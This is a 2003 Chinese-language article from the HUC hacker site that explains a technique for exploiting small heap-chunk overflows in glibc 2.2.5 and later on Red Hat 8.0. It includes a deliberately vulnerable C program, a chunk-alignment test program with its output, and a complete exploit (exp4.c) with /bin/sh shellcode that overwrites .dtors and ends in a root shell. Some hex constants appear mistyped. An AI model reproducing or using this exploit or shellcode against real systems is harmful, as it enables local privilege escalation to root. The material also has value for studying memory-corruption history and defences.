快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- **编程技术 <=**
- 安全技术
- 业界动态

本类热门
- 初探数据包分析程序设计
- 杀毒软件的简单实现
- readasm的使用范例
- 半开扫描程序
- 注册表操作（RingZ_RgeEdit）
- proftpd 1.2.7/1.2.9rc2 remote root exploit

一种小堆(heap)溢出的另类利用方法

提交文章： bkbll
提交日期： 2003-09-01
文章属性： 原创
文档类别： 编程技术
浏览次数： 今1次/总3594次

一种小堆(heap)溢出的另类利用方法
bkbll(bkbll@cnhonker.net)
2003-9-1
[1]. 什么是堆溢出
堆溢出(heap overflow) 类似stack overflow, 发生在BSS区. 关于heap overflow的文章外面有很多, 入门级别的w00w00的<w00w00 on Heap Overflows>, 这篇文章的中文版是由warning3 撰写, 文章地址是:
http://www.w00w00.org/files/articles/heaptut-chinese.txt, 英文原版是:
http://www.w00w00.org/files/articles/heaptut.txt, 其中还有warning3写的: <一种新的heap区溢出技术分析>, 文章在:
http://www.nsfocus.net/index.php?act=sec_self&do=view&doc_id=529&keyword=heap
本篇假设你理解了这两篇文章的意义.
[2]. 本篇依赖的系统
本篇所有程序都在Rh linux 8.0 default install 平台上调试通过. 关于小堆的利用, 在glibc>=2.2.5的版本上才有意义, 在glibc 2.2.4(rh 7.2)上, 利用warning3的方法就完全可行, 所以本文假设你使用的平台glibc>=2.2.5. rh linux 8.0上的版本是glibc-2.2.93-5 .
[3]. 和glibc<=2.2.5的区别
我们可以看看malloc的源代码. 低版本的分析可以参看warning3的文章, 高版本的源代码分析如下(int_free函数,因为函数比较长, 分解一下):

```
void _int_free(mstate av, Void_t* mem)
{
if (mem != 0) { //如果mem!=NULL
p = mem2chunk(mem);
size = chunksize(p);
check_inuse_chunk(av, p);
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) //这里,如果是小堆
<64bytes
#if TRIM_FASTBINS
&& (chunk_at_offset(p, size) != av->top) //并且这个块的下一块不是top块
#endif
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
p->fd = *fb;
*fb = p;
}
else if (!chunk_is_mmapped(p)) //如果这个块没有mmap位
{
nextchunk = chunk_at_offset(p, size);
```

```
nextsize = chunksize(nextchunk);
assert(nextsize > 0);
/* consolidate backward */
if (!prev_inuse(p)) //如果当前块的size部分标志着前一块未使用
{
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(p, bck, fwd); //和前一块合并
}
if (nextchunk != av->top)
{
    /* get and clear inuse bit */
    nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
    //#define clear_inuse_bit_at_offset(p, s) (((mchunkptr)(((char*)(p)) + (s)))->size
&= ~(PREV_INUSE))
    /* consolidate forward */
    if (!nextinuse) //如果下一个块没有使用, 则合并这个块
    {
    unlink(nextchunk, bck, fwd);
    size += nextsize;
    }
……
}
else //如果这个块后面紧挨着top块
{
……
}
/* 注意这里, 如果合并后的大小>0xffff的话) */
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)
{
if (have_fastchunks(av))
malloc_consolidate(av);
…….
}
}
else { //如果是mmap的
…….
   }
}
}
```

总结一下, 不同的地方有:

1. 当free的堆大小<64字节的时候, 会利用一种快速处理方法来处理.
2. 当合并后的size 大于0xffff的时候, 还有另外一个过程 , 这个过程如果你用伪造的chunk去处理的话, 很难保证不出错, 所以合并后的size要小于0xffff.
3. 块的大小必须要是8的倍数.

1和2 的比较过程都是用(unsigned long)类型比较, 所以在这里, 负数可以逃避1的规则限制, 而2里面就不行了, 如果size是一个负数, 会判断失败, 这样会跳转到一个复杂的计算过程, 所以在这里size一定不能是负数.

[4]. 一个有漏洞的程序:

```
/* just for fun */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc,char **argv)
{
   char *p1;
   char *p2;

   if(argc<2)
   {
      printf("Usage:%s <string>\n",argv[0]);
      exit(0);
   }
   if(strlen(argv[1])>40-1)
   {
      printf("ERROR:too long\n");
      exit(0);
   }
   p1=(char *)malloc(20);
```

```
    p2=(char *)malloc(40);
    memset(p1,0,20);
    memset(p2,0,40);
    strcpy(p2,argv[1]);
    strcpy(p1,p2);
    printf("[+] input:%s\n",p1);
    memset(p2,0,40);
    free(p1);
    free(p2);
    exit(0);
}
```

[5]. 利用方法思考

初看起来和以前的heap overflow利用方法一样, 伪造chunk2和chunk3就可以写出exp的, 但因为第一个块是小块, 所以利用方法又有所不一样.

从内存结构来看, 我们可以覆盖的有: p2的prev_size和p2的size两个地方. 恰好这两个地方是控制p2的前一个块和后一个块的关键数据, 所以基本上我们可以伪造出前一个块和后一个块, 只要控制好inuse位, 我们就可以利用unlik操作写任意四个字节的数据到任意地方.

这里需要注意的是size必须要是一个正数, 而且这个数值必须小与0xffff. 这里我们有两种选择(为了描述方便, 我们把p2前一个块称做p1,后面的一个块称做p3, p3的下一块称作p4)

1. 利用伪造的p1,进行unlink操作. 只需要让p2的prev_inuse位清零
2. 利用伪造p3进行unlink操作, 因为后面有判断p3是否使用, 所以还需要伪造p4.

如果是要利用伪造p3进行unlink操作的话, 因为要考虑到size>0, 这里要考虑两种情况(利用strcpy,所以数据里面不能有0x00):

1. p2的size>0 因为p2本身缘故, 这个里面可以含有0x00. 这样p3就只能在p2后面了, 但看程序里面,p2后面的数据基本上全为0 , p3的fd和bk数据无法填充.所以不大可能.
2. p2的size<0 这样要求p3的size>0而且0xffff>(p3->size+p2->size)>0. 并且通过p3->size伪造的p4要满足我们的要求, 最重要的是p3->size四个字节的内存块里面不能有0x00.好像在内存中还找不出这样的一个位置来放我们的p3,如果你有更合适的办法, 请和交流.

从上面的分析可以看出, 利用伪造的p3块进行unlink操作难度系数太大了. 我们看看利用伪造的p1可不可行.

因为p1的地址是这样计算的:p1 addr=p2 addr － p2->prev_size, 而p2后面的内存基本上全为0 ,所以这里的prev_size必须要为一个正数, 但是又因为我们要覆盖到p2的size,所以prev_size内存块不能有0x00数据, 这里的p2->prev_size就只能是一个非常大的正数. 初看上去是不可行的, 但联想到我们的堆栈数据是0xbffff开头的, 如果将这个地址看成是一个有符号的数话,恰好是一个负数, 从前面的源代码上分析可以看出,size的加法全是有符号的操作, 所以我们可不可以将p1结构放到我们的堆栈里面呢? 这样我们可以通过这个非常大的正数将P1放到堆栈里面.

P1确定好了, 为了保证0xffff>(p2->size+p1->size)>0, 而且又要求我们可以控制p3, 我们又需要精心构造一个p2->size,而且这个数据还需要设置p1的non-use位. 看上去是不是不可能的? 让我们看一看一个精彩的数学变换.

假设我们p2地址是p2addr,p1地址是p1addr,p1的大小是p1size,p2的大小是p2size,p3的地址是p3addr, p1size+p2size=offset,这个offset符合大于0和小于0xffff的规定.

那么这里有几个等式:

```
p2addr-p1size=p1addr    ------------①
p2addr+p2size=p3addr    ------------②
p1size+p2size=offset    ------------③
```

②-①得:

p2size+p1size=p3addr-p1addr

代入③得:

offset=p3addr-p1addr,也即:

p3addr=p1addr+offset.

我们的p1放在堆栈, 只要我们加上一点点的offset就可以得到我们的p3, 那么p4也可以顺利伪造出来了.

现在摆在面前的问题就只有一个: p3addr-p2addr也就是p2size必须要设置non-map和non-use位. 而且p2size要为8的倍数, 这样看来, p2size最后一个数据必须为8.

这个时候又有一个问题出来了, 我们该怎么构造这些数据以确保p3的结构里面符合要求而p3的地址和p2地址之差最后一位要为8? 这个数据该如何被确保存在?

经过思考, 我们可以想像出我们的p1和p3数据是这样的:

```
|AAAA|AAAA| FD | BK |AAA.AAAAA|AAAA| P3SIZE|….
  p1                          p3
```

因为我们不用关心p1的prev_size以及p1的size, 而我们只需要关心p4的size的inuse是否为0, 这样,我们将p3->size设置成0xfffffff8(-8), 这样p4=p3+p3->size=p3-8, 这样只要保证*(char *)(p3-1)的数据最后一位为1就可以了. 填充的A就可以满足要求. 在P1和P3的数据后面我们可以跟上我们的shellcode,这样构造后的数据应该是这样的:

```
| 被替换的地址 |  替换的地址 | xxxxxxxxxxxA|AAAA| -8 | shellcode |
p1+8       p1+12                  p3
```

我们回到刚才的问题, 怎么保证p3的地址满足要求.
我们可以这样考虑, 内存中存放多次的xxxA|AAAA| -8 | 这样的结构, 其中XXXA|AAAA长度我们需要验算一下. 我们的目标是, 经过有限次的16位数据循环, 我们总可以找到符合要求的xxxxA|AAAA|-8|这样满足要求的结构. 我们写个小程序验算一下:
[netconf@linux1 challenge]$ cat test1.c

```
/* test for 32 bits value */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SIZE 200
#define PAD 5
#define FG 'A'
#define ADDR 0xffffffff8

void foo(int offset,char *buffer)
{
     int i,found=0;

     for(i=offset;i<strlen(buffer);i+=16)
     {
          if((buffer[i]==FG) && (buffer[i+1]==FG) && (buffer[i+2]
==FG) && (buffer[i+3]==FG) && (*(unsigned int *)(buffer+i+4)
==ADDR))
          {
               printf("[+] found.i:%3d,cont:%c%c%c%c ADDR:%
p\n",i,buffer[i],buffer[i+1],buffer[i+2],buffer[i+3],*(unsigned int *)
(buffer+i+4));
               found=1;
               continue;
          }
     }
     if(found==0)    printf("[-] not found\n");
}

main(int argc,char **argv)
{
     char buffer[SIZE];
     int i,j;
     int pd=PAD;

     if(argc>1) pd=atoi(argv[1]);
     memset(buffer,0,SIZE);
     for(i=0;i<SIZE-1;i+=pd+4)
     {
          memset(buffer+i,FG,pd);
          *(unsigned int *)(buffer+i+pd)=ADDR;
     }
     printf("[+] PAD=%d\n\n",pd);
     for(j=0;j<pd;j++)
     {
          printf("[+] Offset:%d\n",j);
          foo(j,buffer);
     }
}
```

[netconf@linux1 challenge]$
我们分别验算一下从1-9符合要求的PAD是多少:

```
[netconf@linux1 challenge]$ gcc -o test1 test1.c
[netconf@linux1 challenge]$ ./test1 1
[+] PAD=1

[+] Offset:0
[-] not found
[netconf@linux1 challenge]$ ./test1 2
[+] PAD=2

[+] Offset:0
[-] not found
[+] Offset:1
[-] not found
[netconf@linux1 challenge]$ ./test1 3
[+] PAD=3

[+] Offset:0
[-] not found
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[netconf@linux1 challenge]$ ./test1 4
[+] PAD=4

[+] Offset:0
[+] found.i:  0,cont:AAAA ADDR:0xffffffff8
[+] found.i: 16,cont:AAAA ADDR:0xffffffff8
[+] found.i: 32,cont:AAAA ADDR:0xffffffff8
[+] found.i: 48,cont:AAAA ADDR:0xffffffff8
[+] found.i: 64,cont:AAAA ADDR:0xffffffff8
[+] found.i: 80,cont:AAAA ADDR:0xffffffff8
[+] found.i: 96,cont:AAAA ADDR:0xffffffff8
[+] found.i:112,cont:AAAA ADDR:0xffffffff8
[+] found.i:128,cont:AAAA ADDR:0xffffffff8
[+] found.i:144,cont:AAAA ADDR:0xffffffff8
[+] found.i:160,cont:AAAA ADDR:0xffffffff8
[+] found.i:176,cont:AAAA ADDR:0xffffffff8
[+] found.i:192,cont:AAAA ADDR:0xffffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[+] Offset:3
[-] not found
[netconf@linux1 challenge]$ ./test1 5
[+] PAD=5

[+] Offset:0
[+] found.i: 64,cont:AAAA ADDR:0xffffffff8
[+] Offset:1
[+] found.i:  1,cont:AAAA ADDR:0xffffffff8
[+] found.i:145,cont:AAAA ADDR:0xffffffff8
[+] Offset:2
[+] found.i: 82,cont:AAAA ADDR:0xffffffff8
[+] Offset:3
[+] found.i: 19,cont:AAAA ADDR:0xffffffff8
[+] found.i:163,cont:AAAA ADDR:0xffffffff8
[+] Offset:4
[+] found.i:100,cont:AAAA ADDR:0xffffffff8
[netconf@linux1 challenge]$ ./test1 6
[+] PAD=6
```

```
[+] Offset:0
[+] found.i: 32,cont:AAAA ADDR:0xffffffff8
[+] found.i:112,cont:AAAA ADDR:0xffffffff8
[+] found.i:192,cont:AAAA ADDR:0xffffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[+] found.i:  2,cont:AAAA ADDR:0xffffffff8
[+] found.i: 82,cont:AAAA ADDR:0xffffffff8
[+] found.i:162,cont:AAAA ADDR:0xffffffff8
[+] Offset:3
[-] not found
[+] Offset:4
[+] found.i: 52,cont:AAAA ADDR:0xffffffff8
[+] found.i:132,cont:AAAA ADDR:0xffffffff8
[+] Offset:5
[-] not found
[netconf@linux1 challenge]$ ./test1 7
[+] PAD=7

[+] Offset:0
[+] found.i: 80,cont:AAAA ADDR:0xffffffff8
[+] Offset:1
[+] found.i:113,cont:AAAA ADDR:0xffffffff8
[+] Offset:2
[+] found.i:146,cont:AAAA ADDR:0xffffffff8
[+] Offset:3
[+] found.i:  3,cont:AAAA ADDR:0xffffffff8
[+] found.i:179,cont:AAAA ADDR:0xffffffff8
[+] Offset:4
[+] found.i: 36,cont:AAAA ADDR:0xffffffff8
[+] Offset:5
[+] found.i: 69,cont:AAAA ADDR:0xffffffff8
[+] Offset:6
[+] found.i:102,cont:AAAA ADDR:0xffffffff8
[netconf@linux1 challenge]$ ./test1 8
[+] PAD=8

[+] Offset:0
[+] found.i: 16,cont:AAAA ADDR:0xffffffff8
[+] found.i: 64,cont:AAAA ADDR:0xffffffff8
[+] found.i:112,cont:AAAA ADDR:0xffffffff8
[+] found.i:160,cont:AAAA ADDR:0xffffffff8
[+] Offset:1
[-] not found
[+] Offset:2
[-] not found
[+] Offset:3
[-] not found
[+] Offset:4
[+] found.i:  4,cont:AAAA ADDR:0xffffffff8
[+] found.i: 52,cont:AAAA ADDR:0xffffffff8
[+] found.i:100,cont:AAAA ADDR:0xffffffff8
[+] found.i:148,cont:AAAA ADDR:0xffffffff8
[+] found.i:196,cont:AAAA ADDR:0xffffffff8
[+] Offset:5
[-] not found
[+] Offset:6
[-] not found
[+] Offset:7
[-] not found
[netconf@linux1 challenge]$ ./test1 9
[+] PAD=9

[+] Offset:0
[+] found.i: 96,cont:AAAA ADDR:0xffffffff8
[+] Offset:1
```

```
[+] found.i:161,cont:AAAA ADDR:0xffffff8
[+] Offset:2
[+] found.i: 18,cont:AAAA ADDR:0xffffff8
[+] Offset:3
[+] found.i: 83,cont:AAAA ADDR:0xffffff8
[+] Offset:4
[+] found.i:148,cont:AAAA ADDR:0xffffff8
[+] Offset:5
[+] found.i:  5,cont:AAAA ADDR:0xffffff8
[+] Offset:6
[+] found.i: 70,cont:AAAA ADDR:0xffffff8
[+] Offset:7
[+] found.i:135,cont:AAAA ADDR:0xffffff8
[+] Offset:8
[+] found.i:200,cont:AAAA ADDR:0xffffff8
[netconf@linux1 challenge]$
```

从上面的计算可以看出, 无论buffer开始地址多少, 当PAD为5,7,9的时候, 经过有限次列举总可以找到这样一个满足条件的位置. 我们取最小的数据5来构造我们的p3.

[6]. 我们的exp

这样我们就可以写出exploit了:

[netconf@linux1 challenge]$ cat exp4.c

```
/* exp4 */
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define SIZE 20
#define FILL 200                /* 我们准备填充多少个p3结构来满足要求 */
#define PAD 5
#define want_write_to_addr 0x080496dc+4-3*4 /*.dtors地址*/
#define P2ADDR      0x08049738          /* p2的地址(chunk地址) */
#define shell_addr   0xbffffa7          /* shellcode地址 */
#define P3ADDR      0xbffff60           /* p2->next的地址*/
#define P1ADDR      (unsigned long)(shell_addr-(FILL/(PAD+4))*
(PAD+4)-0x08+1)    /* p2->prev chunk的地址*/
#define VULN       "./vul2"

char shellcode[] =
"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90"
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0
\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40
\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


main(int argc,char *argv[])
{
   int i,size=SIZE,size2,length;
   char *env[2],envbuf[400],buffer[100];
   unsigned long p1size,p2size,p1addr;

   memset(buffer,0,100);
   if(argc>1) size=atoi(argv[1]);
   length=(int)(size+4)/8;
     if(length*8 == (size+4))length--;
   length*=8;

   for(i=0;i<length;i++)
      buffer[i]='A';
   size2=P3ADDR-P1ADDR;
```

```
    p1size=size2-(P3ADDR-P2ADDR);
    p2size=P3ADDR-P2ADDR;
    printf("p2size+p1size:%p+%p=%
#x\n",p2size,p1size,p2size+p1size);
    printf("p1addr:%p,p2addr:%p,p3addr=%
p\n",P1ADDR,P2ADDR,P3ADDR);
    *(unsigned long *)(buffer+i)=p1size;
    i+=4;
    *(unsigned long *)(buffer+i)=p2size;
    i+=4;

    memset(envbuf,0,400);
    strcpy(envbuf,"STR=");
    i=strlen(envbuf);
    //构造p1和p3
     *(unsigned long *)(envbuf+i)=want_write_to_addr;
     *(unsigned long *)(envbuf+i+4)=shell_addr;
     i+=8;
     for(i;i<200;i+=9)
     {
        memset(envbuf+i,'A',PAD);
        *(unsigned long *)(envbuf+i+PAD)=0xffffffff8;
     }
     memcpy(envbuf+i,shellcode,strlen(shellcode));

    env[0]=envbuf;
    env[1]=NULL;
    execle(VULN,VULN,buffer,NULL,env);

}
```

试一下:
[netconf@linux1 challenge]$ ./exp4
p2size+p1size:0xb7fb6828+0x4804985e=0x86
p1addr:0xbffffeda,p2addr:0x8049738,p3addr=0xbffff60
[+] input:AAAAAAAAAAAAAAAA^褐(h
sh-2.05b# id
uid=0(root) gid=500(netconf) groups=500(netconf)
sh-2.05b#
[7]. 参考文章:
1. warning3: <一种新的heap区溢出技术分析>

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net